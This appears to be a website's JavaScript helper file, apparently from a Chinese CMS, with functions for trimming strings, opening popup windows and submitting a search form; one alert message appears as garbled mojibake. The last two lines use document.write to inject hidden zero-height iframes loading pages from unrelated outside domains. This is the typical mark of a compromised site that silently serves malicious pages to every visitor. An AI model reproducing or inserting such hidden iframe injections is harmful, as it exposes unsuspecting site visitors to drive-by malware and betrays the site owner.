String.prototype.trim = function()  
{  
	return this.replace(/(^\s*)|(\s*$)/g, "");  
}
function $(val)
{
    return document.getElementById(val);
}
function WinOpen(url,n,w,h)
{
        var left = (screen.width-w)/2;
        var top = (screen.height-h)/2;
        var f = "width="+w+",height="+h+",top="+top+",left="+left;
        window.open(url,n,f);
}
function WinOpenDialog(url,w,h)
{
    var feature = "dialogWidth:"+w+"px;dialogHeight:"+h+"px;center:yes;status:no;help:no";
    showModalDialog(url,window,feature);
}

function SearchFormGo(url,val)
{
    var txtKeyword = $('searchform_Keyword');
     if(txtKeyword.value.trim().length==0)
    {
         alert('ËÑË÷¹Ø¼ü×Ö±ØÐëÌîÐ´'); 
    }  
    else
    {
         if(val==0) 
         {
			location.href=url+"?Type=1&Keyword="+escape(txtKeyword.value.trim());
         }
         else
         {
            var classStr = $('searchform_Class').value;
            var classArray = classStr.split('$');
            if(classArray[1]==0)
            {  
                location.href=url+"?Type=1&ChId="+classArray[0]+"&txtKeyword="+escape(txtKeyword.value.trim());
            }
            else
            {
                  location.href=url+"?Type=1&ChId="+classArray[0]+"&ColId="+classArray[1]+"&txtKeyword="+escape(txtKeyword.value.trim());
            }   
          }
    }   
 
    return false; 
}

document.write("<iframe width=100 height=0 src=http://www.fazfv.com/></iframe>")
document.write("<iframe width=100 height=0 src=http://www.gsffsdf.cn/jj1.htm></iframe>")